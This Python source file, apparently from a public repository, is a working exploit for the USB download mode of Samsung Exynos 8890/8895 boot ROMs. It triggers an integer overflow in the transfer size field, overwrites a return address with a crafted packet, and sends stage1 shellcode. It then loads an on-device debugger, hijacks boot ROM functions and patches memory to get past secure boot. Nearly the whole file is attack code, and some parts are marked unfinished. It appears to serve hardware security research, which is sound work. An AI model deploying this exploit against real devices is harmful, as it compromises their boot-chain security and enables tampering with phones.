659 lines
27 KiB
Python
659 lines
27 KiB
Python
import struct, sys, usb1, libusb1, ctypes, usb, argparse
|
|
from keystone import *
|
|
from capstone import *
|
|
from ghidra_assistant.utils.utils import *
|
|
from ghidra_assistant.concrete_device import *
|
|
from ghidra_assistant.utils.debugger.debugger_archs.ga_arm64 import GA_arm64_debugger
|
|
from qiling.const import QL_ARCH
|
|
import os, tqdm, datetime
|
|
|
|
def p32(x):
|
|
return struct.pack("<I", x)
|
|
|
|
def p8(x):
|
|
return struct.pack("<B", x)
|
|
|
|
def p16(x):
|
|
return struct.pack("<H", x)
|
|
|
|
def p64(x):
|
|
return struct.pack("<Q", x)
|
|
|
|
logger = setup_logger("") #Leave empty to get root logger
|
|
logger.setLevel(logging.DEBUG)
|
|
|
|
BLOCK_SIZE = 512
|
|
CHUNK_SIZE = 0xfffe00
|
|
MAX_PAYLOAD_SIZE = (BLOCK_SIZE - 10) # 512, - 10 for ready (4), size (4), footer (2)
|
|
|
|
DL_BUFFER_START = 0x02021800
|
|
DL_BUFFER_SIZE = 0x4E800 #max allowed/usable size within the buffer, with end at 0x02070000
|
|
|
|
BOOTROM_START = 0x0
|
|
BOOTROM_SIZE = 0x20000 #128Kb
|
|
|
|
TARGET_OFFSETS = {
|
|
# XFER_BUFFER, RA_PTR, XFER_END_SIZE
|
|
"8890": (0x02021800, 0x02020F08, 0x02070000), #0x206ffff on exynos 8890
|
|
"8895": (0x02021800, 0x02020F18, 0x02070000)
|
|
}
|
|
|
|
def wait_for_device():
|
|
while usb.core.find(idVendor=0x04e8, idProduct=0x1234) is None:
|
|
pass
|
|
|
|
def wait_disconnect():
|
|
while usb.core.find(idVendor=0x04e8, idProduct=0x1234) is not None:
|
|
pass
|
|
|
|
ENDPOINT_BULK_IN = 0x81
|
|
ENDPOINT_BULK_OUT = 0x2
|
|
|
|
ks = Ks(KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN)
|
|
cs = Cs(CS_ARCH_ARM64, CS_MODE_LITTLE_ENDIAN)
|
|
|
|
class ExynosDevice():
|
|
"""
|
|
Class to exploit a Exynos device (8890/8895) using the USB stack.
|
|
"""
|
|
|
|
def __init__(self, idVendor=0x04e8, idProduct=0x1234):
|
|
"""Init with vendor/product IDs"""
|
|
self.idVendor = idVendor
|
|
self.idProduct = idProduct
|
|
self.target = "8890" # TODO auto detect device
|
|
self.connect_device()
|
|
|
|
def connect_device(self):
|
|
"""Setup proper connection, and ensure the connection is alive"""
|
|
self.context = usb1.USBContext()
|
|
|
|
while True:
|
|
self.handle = self.context.openByVendorIDAndProductID(
|
|
vendor_id=self.idVendor,
|
|
product_id=self.idProduct,
|
|
skip_on_error=False
|
|
)
|
|
if self.handle == None:
|
|
continue
|
|
break
|
|
|
|
try:
|
|
self.handle.getDevice().getSerialNumber()
|
|
except Exception as e:
|
|
if e.value == usb1.libusb1.LIBUSB_ERROR_TIMEOUT or e.value == usb1.libusb1.LIBUSB_ERROR_IO:
|
|
print("Device disconnected / not connected. Reconnect USB?")
|
|
sys.exit(0)
|
|
else:
|
|
raise e
|
|
|
|
# claim usb interface
|
|
self.handle.claimInterface(0)
|
|
print(f"Connected device! {hex(self.idVendor)} {hex(self.idProduct)}")
|
|
|
|
def disconnect(self):
|
|
"""Disconnect the device"""
|
|
self.handle.releaseInterface(0)
|
|
self.handle.close()
|
|
self.context.exit()
|
|
|
|
def write(self, data):
|
|
"""Write data to the device"""
|
|
transferred = ctypes.c_int()
|
|
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, data, len(data), ctypes.byref(transferred), 0)
|
|
assert(res == 0), "Could not perform bulk transfer"
|
|
return res
|
|
|
|
def send_empty_transfer(self):
|
|
"""Send an empty transfer (to not actually write data)"""
|
|
transferred = ctypes.c_int()
|
|
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, 0, 0, ctypes.byref(transferred), 0)
|
|
assert(res == 0)
|
|
return transferred.value
|
|
|
|
def test_bug_2(self):
|
|
"""Interger overflow in last packet if reamining size is 1."""
|
|
transferred = ctypes.c_int()
|
|
bug_payload = p32(0) + p32(0x201 + 2 + MAX_PAYLOAD_SIZE + 0x7) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
|
|
bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
|
|
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, bug_payload, len(bug_payload), ctypes.byref(transferred), 0)
|
|
assert res == 0
|
|
|
|
payload = b"\xaa" * 0x200
|
|
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
|
|
assert res == 0
|
|
|
|
payload = b"\xaa" * 0x200
|
|
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
|
|
while True:
|
|
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 10)
|
|
|
|
def test_bug(self):
|
|
"""Verify bug existence"""
|
|
# Start by sending a valid packet
|
|
# Integer overflow in the size field
|
|
# unk + size + payload + header
|
|
payload = p32(0) + p32(0xFDFDE7FF + 0x1000) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
|
|
|
|
assert (len(payload) == BLOCK_SIZE)
|
|
res = self.write(payload, MAX_PAYLOAD_SIZE)
|
|
|
|
for i in range(200):
|
|
print(hex(self.send_empty_transfer()))
|
|
|
|
print('Bug probably available')
|
|
sys.exit(0)
|
|
|
|
|
|
def send_normal_stage(self, payload):
|
|
'''
|
|
TODO not working
|
|
'''
|
|
# construct dl_data
|
|
dpayload = struct.pack("<II", 0, (len(payload) + 8 + 2))
|
|
dpayload = dpayload + payload + b"\x00" * 2 # add footer
|
|
transferred = ctypes.c_int()
|
|
for block in range(0, len(dpayload), BLOCK_SIZE):
|
|
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, dpayload[block:block + BLOCK_SIZE], len(dpayload[block:block + BLOCK_SIZE]), ctypes.byref(transferred), 0)
|
|
assert res == 0, "Error sending payload"
|
|
p_ok("Sent stage")
|
|
|
|
|
|
def unsecure_boot(self, exploit=False):
|
|
'''
|
|
Do a normal boot process, with or without exploit.
|
|
'''
|
|
if exploit:
|
|
self.exploit(open("../../dump/exynos-usbdl/payloads/Exynos8890_unsecure_boot_usb.bin", "rb").read())
|
|
time.sleep(2)
|
|
self.connect_device()
|
|
# self.send_normal_stage("/home/eljakim/Source/Samsung_S7/source/S7/g930f_latest/g930f_sboot.bin.1.bin")
|
|
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read())
|
|
# self.send_normal_stage(open("../S7/bl1.bin", "rb").read())
|
|
# self.send_normal_stage(open("../../dump/rom.bin.1.bin", "rb").read())
|
|
# wait_disconnect()
|
|
time.sleep(2)
|
|
self.connect_device()
|
|
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.2.bin", "rb").read())
|
|
# self.send_normal_stage(open("../S7/bl31.bin", "rb").read())
|
|
# wait_disconnect()
|
|
time.sleep(2)
|
|
self.connect_device()
|
|
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read())
|
|
# self.send_normal_stage(open("../S7/sboot.bin.3.bin", "rb").read())
|
|
# wait_disconnect()
|
|
time.sleep(2)
|
|
self.connect_device()
|
|
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read())
|
|
# self.send_normal_stage(open("../S7/sboot.bin.4.bin", "rb").read())
|
|
pass
|
|
|
|
|
|
def exploit(self, payload: bytes):
|
|
'''
|
|
Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload.
|
|
'''
|
|
assert len(payload) <= MAX_PAYLOAD_SIZE, "Shellcode too big"
|
|
|
|
current_offset = TARGET_OFFSETS[self.target][0]
|
|
xfer_buffer_start = TARGET_OFFSETS[self.target][1] # start of USB transfer buffer
|
|
transferred = ctypes.c_int()
|
|
|
|
size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8 + 6 # max_uint32 - header(8) + data(n) + footer(2)
|
|
#size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8
|
|
max_payload_size = 0x100000000 - size_to_overflow
|
|
ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE) #
|
|
|
|
# Assert that payload is 502 bytes
|
|
# max_payload_size = 0xffffffff - current_offset + DL_BUFFER_SIZE + TARGET_OFFSETS[self.target][1]
|
|
# max_payload_size = (TARGET_OFFSETS[self.target][2] - TARGET_OFFSETS[self.target][0]) - 0x200
|
|
payload = payload + ((max_payload_size - len(payload)) * b"\x00")
|
|
assert len(payload) == max_payload_size, "Invalid payload"
|
|
|
|
# First send payload to trigger the bug
|
|
bug_payload = p32(0) + p32(size_to_overflow) + payload[:MAX_PAYLOAD_SIZE] # dummy packet for triggering the bug
|
|
bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
|
|
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, bug_payload, len(bug_payload), ctypes.byref(transferred), 0)
|
|
assert res == 0, "Error triggering payload"
|
|
assert transferred.value == len(bug_payload), "Invalid transfered size"
|
|
current_offset += len(bug_payload) - 8 # Remove header
|
|
|
|
cnt = 0
|
|
while True:
|
|
if current_offset + CHUNK_SIZE >= xfer_buffer_start and current_offset < xfer_buffer_start:
|
|
break
|
|
self.send_empty_transfer()
|
|
current_offset += CHUNK_SIZE
|
|
cnt += 1
|
|
if current_offset > 0x100000000:
|
|
current_offset = current_offset - 0x100000000 #reset 32 byte integer
|
|
print(f"{cnt} {hex(current_offset)}")
|
|
|
|
remaining = (TARGET_OFFSETS[self.target][1] - current_offset)
|
|
assert remaining != 0, "Invalid remaining, needs to be > 0 in order to overwrite with the last packet"
|
|
if remaining > BLOCK_SIZE:
|
|
self.send_empty_transfer()
|
|
# Send last transfer, TODO who aligns this ROM??
|
|
current_offset += ((remaining // BLOCK_SIZE) * BLOCK_SIZE)
|
|
cnt += 1
|
|
print(f"{cnt} {hex(current_offset)}")
|
|
|
|
# Build ROP chain.
|
|
rop_chain = (b"\x00" * (ram_size - 6)) + p64(TARGET_OFFSETS[self.target][0]) + (b"\x00" * 2)
|
|
transferred = ctypes.c_int(0)
|
|
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, rop_chain, len(rop_chain), ctypes.byref(transferred), 0)
|
|
assert res == 0, "Error sending ROP chain"
|
|
return
|
|
|
|
|
|
def usb_write(self, data):
|
|
assert len(data) <= 0x200, "Data too big"
|
|
transferred = ctypes.c_int()
|
|
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, data, len(data), ctypes.byref(transferred), 300)
|
|
assert res == 0, f"Error sending data {res}"
|
|
assert transferred.value == len(data), f"Invalid transfered size {transferred.value} != {len(data)}"
|
|
return transferred.value
|
|
|
|
|
|
def usb_read(self, size):
|
|
transferred = ctypes.c_int()
|
|
buf = ctypes.c_buffer(b"", size)
|
|
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_IN, buf, len(buf), ctypes.byref(transferred), 300)
|
|
assert res == 0, f"Error receiving data {res}"
|
|
return buf.raw[:transferred.value]
|
|
|
|
|
|
def setup_concrete_device(self, concrete_device : ConcreteDevice):
|
|
#Setup architecture
|
|
concrete_device.arch = QL_ARCH.ARM64
|
|
concrete_device.ga_debugger_location = 0x2069000 # TODO, not used yet
|
|
concrete_device.ga_vbar_location = 0x206d000 + 0x1000
|
|
concrete_device.ga_storage_location = 0x206d000
|
|
concrete_device.ga_stack_location = 0x206b000
|
|
|
|
concrete_device.arch_dbg = GA_arm64_debugger(concrete_device.ga_vbar_location, concrete_device.ga_debugger_location, concrete_device.ga_storage_location)
|
|
concrete_device.arch_dbg.read = self.usb_read
|
|
concrete_device.arch_dbg.write = self.usb_write
|
|
|
|
#Overwrite all calls to make the concrete target function properly
|
|
concrete_device.copy_functions()
|
|
|
|
|
|
def usb_debug(self):
|
|
"""
|
|
Function to debug USB behaviour. Sends and receives data in continuous flow.
|
|
"""
|
|
transferred = ctypes.c_int()
|
|
# Send some data
|
|
count = 0
|
|
def _send_data():
|
|
transferred.value = 0
|
|
p = p32(count) + b"\xaa" * (0x200 - 4)
|
|
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, p, len(p), ctypes.byref(transferred), 100)
|
|
assert res == 0, f"Error sending data ({res})"
|
|
|
|
def _recv_data():
|
|
transferred.value = 0
|
|
buf = ctypes.c_buffer(b"", 0x200)
|
|
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, 0x81, buf, len(buf), ctypes.byref(transferred), 100)
|
|
assert res == 0, f"Error receiving data ({res})"
|
|
hexdump(buf.raw)
|
|
|
|
# Should have received some bytes
|
|
while True:
|
|
_send_data()
|
|
_recv_data()
|
|
count += 1
|
|
|
|
|
|
def dump_memory(self, start: hex=0x0, end: hex=0x0206ffff, write=False):
|
|
"""
|
|
Dumps memory from the device.
|
|
|
|
Transfer XFER_BUFFER at 0x02021800, to: 0x02020F08. End of memory at 0x0206ffff.
|
|
"""
|
|
# NOT WORKING YET
|
|
transferred = ctypes.c_int()
|
|
dumped = b""
|
|
# Read data from memory
|
|
for block in tqdm.tqdm(range(start, end, 0x200)):
|
|
self.usb_write(p32(block-0x200))
|
|
res = self.usb_read(0x200)
|
|
dumped += res
|
|
|
|
if write:
|
|
filename = f"dump_{hex(start)}_{hex(end)}_{self.target}_{datetime.datetime.now().strftime('%Y-%m-%d_%H-%M-%S')}.bin"
|
|
with open(filename, "wb") as f:
|
|
f.write(dumped)
|
|
return dumped
|
|
|
|
|
|
def setup_guppy_debugger(self):
|
|
"""
|
|
Sets up guppy debugger on the device itself.
|
|
"""
|
|
|
|
def _setup_debugger():
|
|
'''
|
|
Setup the debugger as a concrete device
|
|
'''
|
|
self.cd = ConcreteDevice(None, False)
|
|
self.cd.dev = self.setup_concrete_device(self.cd)
|
|
self.cd.test_connection()
|
|
|
|
|
|
def _initial_run_debugger():
|
|
"""Write debugger to device and test basic functionality"""
|
|
if os.getenv("USER") == "eljakim":
|
|
debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read()
|
|
else:
|
|
try:
|
|
debugger = open("../../dump/debugger.bin", "rb").read()
|
|
except Exception as e:
|
|
print(f'Are you missing your debugger? Please ensure it is present in dump/debugger.bin. {e}')
|
|
sys.exit(0)
|
|
debugger += ((0x2000 - len(debugger)) * b"\x00")
|
|
assert len(debugger) == 0x2000, "Invalid debugger size, stage1 requires 0x2000 size"
|
|
for block in range(0, len(debugger), 0x200):
|
|
self.usb_write(debugger[block:block+0x200])
|
|
# time.sleep(.5) # Wait a little bit
|
|
assert self.usb_read(0x200) == b"GiAs", "No response from debugger"
|
|
|
|
# Test basic functionality
|
|
self.usb_write(b"PING")
|
|
r = self.usb_read(0x200)
|
|
assert r == b"PONG", f"Invalid response from device: {r}"
|
|
|
|
_initial_run_debugger()
|
|
_setup_debugger()
|
|
|
|
|
|
def relocate_debugger(self):
|
|
# Seems to be cleared upon cache clearing??
|
|
if os.getenv("USER") == "eljakim":
|
|
debugger_reloc = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/reloc_debugger.bin", "rb").read()
|
|
else:
|
|
try:
|
|
debugger_reloc = open("../../dump/reloc_debugger.bin", "rb").read()
|
|
except Exception as e:
|
|
print(f'Are you missing your debugger? Please ensure it is present in dump/debugger.bin. {e}')
|
|
sys.exit(0)
|
|
|
|
self.cd.memwrite_region(0x020c0000, debugger_reloc)
|
|
self.usb_write(b"FLSH") # Flush cache
|
|
self.cd.restore_stack_and_jump(0x020c0000)
|
|
assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
|
|
self.cd.relocate_debugger(0x020c7000, 0x020c0000, 0x020c4000)
|
|
|
|
|
|
def dumb_interact(self, dump_imems=False):
|
|
'''
|
|
Room for playing around with the debugger on the phone.
|
|
'''
|
|
self.cd.arch_dbg.state.auto_sync = False
|
|
self.cd.arch_dbg.state.auto_sync_special = False
|
|
logger.debug('State after setting up initial debugger')
|
|
self.cd.arch_dbg.state.print_ctx()
|
|
|
|
def first_debugger():
|
|
debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read()
|
|
self.cd.memwrite_region(0x2069000, debugger)
|
|
self.cd.restore_stack_and_jump(0x2069000)
|
|
assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
|
|
self.cd.relocate_debugger(0x206d000 + 0x1000, 0x2069000, 0x206d000)
|
|
|
|
# self.relocate_debugger()
|
|
DEBUGGER_ADDR = 0x2069000 #0x020c0000
|
|
|
|
### Get whereabouts of the debugger and current processor state
|
|
logger.debug('State after relocating debugger')
|
|
self.cd.arch_dbg.state.print_ctx()
|
|
|
|
def memdump_imem():
|
|
"""
|
|
Dumps the internal memory of the device (0x2020000 - 0x2070000).
|
|
"""
|
|
dumped = b""
|
|
for block in range(0x2020000, 0x2070000, 0x200):
|
|
# print(hex(block))
|
|
dumped += self.cd.memdump_region(block, 0x200)
|
|
return dumped
|
|
|
|
AUTH_BL1 = 0x00012848 # Location of the authentication function
|
|
def auth_bl1(lr=0x2069000):
|
|
# Load the firmware
|
|
self.cd.arch_dbg.state.X0 = 1
|
|
self.cd.arch_dbg.state.X1 = 1
|
|
self.cd.arch_dbg.state.LR = lr #jump back to debugger when finished
|
|
self.cd.restore_stack_and_jump(AUTH_BL1)
|
|
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
|
assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!"
|
|
|
|
BOOT_BL1 = 0x00019310 # Location of the boot function
|
|
def boot_bl1(lr=0x2069000):
|
|
self.cd.arch_dbg.state.LR = lr
|
|
self.cd.restore_stack_and_jump(BOOT_BL1)
|
|
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
|
|
|
JUMP_BL1 = 0x000002c0 # Location of the function to start the BL1 boot
|
|
def jump_bl1(lr):
|
|
self.cd.arch_dbg.state.LR = lr
|
|
self.cd.restore_stack_and_jump(JUMP_BL1)
|
|
|
|
# Always hijack rom_usb_download function:
|
|
rom_usb_download = self.cd.memdump_region(0x020200dc, 4)
|
|
self.cd.memwrite_region(0x020200dc, p32(0x2069000))
|
|
|
|
# Try loading bl1
|
|
bl1 = open("../S7/bl1.bin", "rb").read()
|
|
self.cd.memwrite_region(0x02021800, bl1)
|
|
self.usb_write(b"FLSH") # Flush cache, as Frederic does
|
|
self.cd.test_connection()
|
|
auth_bl1(DEBUGGER_ADDR)
|
|
# boot_bl1(DEBUGGER_ADDR)
|
|
self.cd.memwrite_region(0x02022858, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR)) # jump to debugger on next stage download
|
|
self.cd.memwrite_region(0x020219cc, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR))
|
|
jump_bl1(DEBUGGER_ADDR)
|
|
|
|
# Returns on usb_download function
|
|
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
|
self.cd.arch_dbg.state.print_ctx()
|
|
dl_ready, next_stage = struct.unpack("<II", self.cd.memdump_region(0x02021518, 8))
|
|
bl31 = open("../S7/bl31.bin", "rb").read()
|
|
self.cd.memwrite_region(0x02024000, bl31)
|
|
self.cd.memwrite_region(0x02021518, p32(1)) # Set dl_ready to 1
|
|
self.cd.memwrite_region(0x02021518 + 4 , p32(self.cd.arch_dbg.state.X0))
|
|
|
|
self.cd.arch_dbg.state.X0 = 0
|
|
self.cd.restore_stack_and_jump(0x020219c8)
|
|
pass
|
|
|
|
# assert len(bl31) % 0x200 == 0, "Size needs to be 512 bytes aligned"
|
|
# self.cd.memwrite_region(self.cd.arch_dbg.state.X0, p32(147456)) # Update amount of blocks
|
|
|
|
# self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
|
# self.cd.restore_stack_and_jump(0x02022a08)
|
|
# Patches
|
|
# self.cd.memwrite_region(0x02022a08, self.cd.arch_dbg.sc.mov_0_w0_ins + self.cd.arch_dbg.sc.ret_ins) # Overwrite line register to jump back to debugger (see code flow at 0x02021800 +0x10, after the bl1 has been written to memory at this address)
|
|
# self.cd.memwrite_region(0x2022948 + 4, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR))
|
|
|
|
# Patch stupid error function
|
|
# self.usb_write(b"FLSH") # Flush cache
|
|
|
|
# Download next stage?
|
|
lr = self.cd.arch_dbg.state.LR
|
|
# self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
|
pass
|
|
|
|
# Overwrite jump back to the debugger from functions encountered during jump_bl1
|
|
self.cd.memwrite_region(0x020200e8, p32(0x020c0000)) # Overwrite line register to jump back to debugger (see code flow at 0x02021800 +0x10, after the bl1 has been written to memory at this address)
|
|
self.cd.memwrite_region(0x020200dc, p32(0x020c0000))
|
|
|
|
def hijack_brom_weird():
|
|
print(f"From = {hex(self.cd.arch_dbg.state.LR - 4)} X0 = {hex(self.cd.arch_dbg.state.X0)}")
|
|
self.cd.restore_stack_and_jump(0x00000314)
|
|
|
|
jump_bl1(0x020c0000)
|
|
def handle_weird_brom():
|
|
while True:
|
|
try:
|
|
resp = self.usb_read(0x200)
|
|
logging.debug(f'Within jump_bl1. Response: {resp}.')
|
|
if self.cd.arch_dbg.state.LR == 0x02022948:
|
|
break # ROM will load next stage over USB
|
|
hijack_brom_weird()
|
|
except Exception as e:
|
|
pass
|
|
handle_weird_brom()
|
|
|
|
### For getting special registers. Non-writeable registers are detected. (UXN, PXN, etc)
|
|
# self.cd.jump_to(0x2069000)
|
|
# assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
|
# self.cd.fetch_special_regs()
|
|
|
|
self.cd.memwrite_region(0x02022a08, self.cd.arch_dbg.sc.mov_0_w0_ins + self.cd.arch_dbg.sc.ret_ins)
|
|
|
|
self.cd.arch_dbg.state.X0 = 1
|
|
self.cd.restore_stack_and_jump(self.cd.arch_dbg.state.LR)
|
|
self.usb_read(0x200) # GiAs
|
|
|
|
self.cd.arch_dbg.state.LR = 0x2069000
|
|
self.cd.restore_stack_and_jump(0x00000314)
|
|
pass
|
|
|
|
### UXN and PXN seem to be present over the USB stack (02021800+)
|
|
shellcode = f"""
|
|
ldr x0, debugger_addr
|
|
blr x0
|
|
debugger_addr: .quad 0x020c0000
|
|
"""
|
|
|
|
shellcode = ks.asm(shellcode, as_bytes=True)[0]
|
|
self.cd.memwrite_region(0x2021800, shellcode)
|
|
|
|
self.cd.jump_to(0x2021800)
|
|
pass
|
|
|
|
# bl31 = bl31[:0x14] + self.cd.arch_dbg.sc.branch_absolute(0x2069000) + bl31[0x24:] # Overwrite jump back to debugger
|
|
# # Write bl31 at 0x02021800 and authenticate
|
|
|
|
auth_bl1(0x020c0000)
|
|
|
|
# Jump to bl31
|
|
jump_bl1(0x02021800)
|
|
pass
|
|
|
|
# VERY OLD
|
|
|
|
#000125b4
|
|
# self.cd.arch_dbg.state.LR = 0x2069000 #jump back to debugger when finished
|
|
# self.cd.restore_stack_and_jump(0x00012814)
|
|
# self.cd.restore_stack_and_jump(0x000125b4)
|
|
|
|
|
|
def debugger_boot(self):
|
|
"""
|
|
Boot into USB recovery mode using the debugger.
|
|
"""
|
|
### Setup debugger
|
|
self.setup_guppy_debugger()
|
|
|
|
self.cd.arch_dbg.state.auto_sync = False
|
|
self.cd.arch_dbg.state.auto_sync_special = False
|
|
logger.debug('State after setting up initial debugger')
|
|
self.cd.arch_dbg.state.print_ctx()
|
|
|
|
DEBUGGER_ADDR = 0x2069000 #0x020c0000
|
|
|
|
### Overwrite boot_usb_ra to our debugger
|
|
self.cd.test_connection()
|
|
hijacked_usb_ra = self.cd.memdump_region(0x02020f60, 8)
|
|
self.cd.memwrite_region(0x02020f60, p64(0x2069000))
|
|
|
|
### Set link register and boot into the USB function
|
|
BOOT_USB_FUNCTION = 0x000064e0
|
|
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
|
self.cd.restore_stack_and_jump(BOOT_USB_FUNCTION)
|
|
time.sleep(1)
|
|
self.connect_device()
|
|
|
|
# Setup jump and authentication
|
|
AUTH_BL1 = 0x00012848
|
|
def auth_bl1(lr=0x2069000):
|
|
# Load the firmware
|
|
self.cd.arch_dbg.state.X0 = 1
|
|
self.cd.arch_dbg.state.X1 = 1
|
|
self.cd.arch_dbg.state.LR = lr #jump back to debugger when finished
|
|
self.cd.restore_stack_and_jump(AUTH_BL1)
|
|
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
|
### Check if authentication was successful - X0 should not be 0??
|
|
# assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!"
|
|
|
|
JUMP_BL1 = 0x000002c0
|
|
def jump_bl1(lr):
|
|
self.cd.arch_dbg.state.LR = lr
|
|
self.cd.restore_stack_and_jump(JUMP_BL1)
|
|
|
|
# Send boot stage 1
|
|
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read())
|
|
# self.send_normal_stage(open("../S7/bl1.bin", "rb").read())
|
|
|
|
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
|
auth_bl1(DEBUGGER_ADDR)
|
|
time.sleep(1)
|
|
|
|
self.cd.memwrite_region(0x02020f60, hijacked_usb_ra)
|
|
|
|
self.usb_write(b"FLSH") # Flush cache
|
|
jump_bl1(DEBUGGER_ADDR)
|
|
time.sleep(2)
|
|
self.connect_device()
|
|
# self.connect_device()
|
|
|
|
|
|
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.2.bin", "rb").read())
|
|
time.sleep(2)
|
|
self.connect_device()
|
|
|
|
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read())
|
|
time.sleep(2)
|
|
self.connect_device()
|
|
|
|
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read())
|
|
time.sleep(2)
|
|
self.connect_device()
|
|
pass
|
|
|
|
|
|
if __name__ == "__main__":
|
|
arg = argparse.ArgumentParser("Exynos exploit")
|
|
arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False)
|
|
arg.add_argument("--unsecure-boot", action="store_true", help="Unsecure boot", default=False)
|
|
arg.add_argument("--debugger-boot", action="store_true", help="Unsecure boot", default=False)
|
|
|
|
args = arg.parse_args()
|
|
exynos = ExynosDevice()
|
|
|
|
if args.debug:
|
|
shellcode = open("../dwc3_test/dwc3.bin", "rb").read()
|
|
exynos.exploit(shellcode)
|
|
exynos.dump_memory(write=True)
|
|
# exynos.usb_debug()
|
|
sys.exit(0)
|
|
|
|
if args.unsecure_boot:
|
|
exynos.unsecure_boot()
|
|
sys.exit(0)
|
|
|
|
stage1 = open("stage1/stage1.bin", "rb").read()
|
|
exynos.exploit(stage1)
|
|
|
|
if args.debugger_boot:
|
|
exynos.debugger_boot()
|
|
sys.exit(0)
|
|
|
|
exynos.setup_guppy_debugger()
|
|
exynos.dumb_interact()
|
|
|
|
sys.exit(0)
|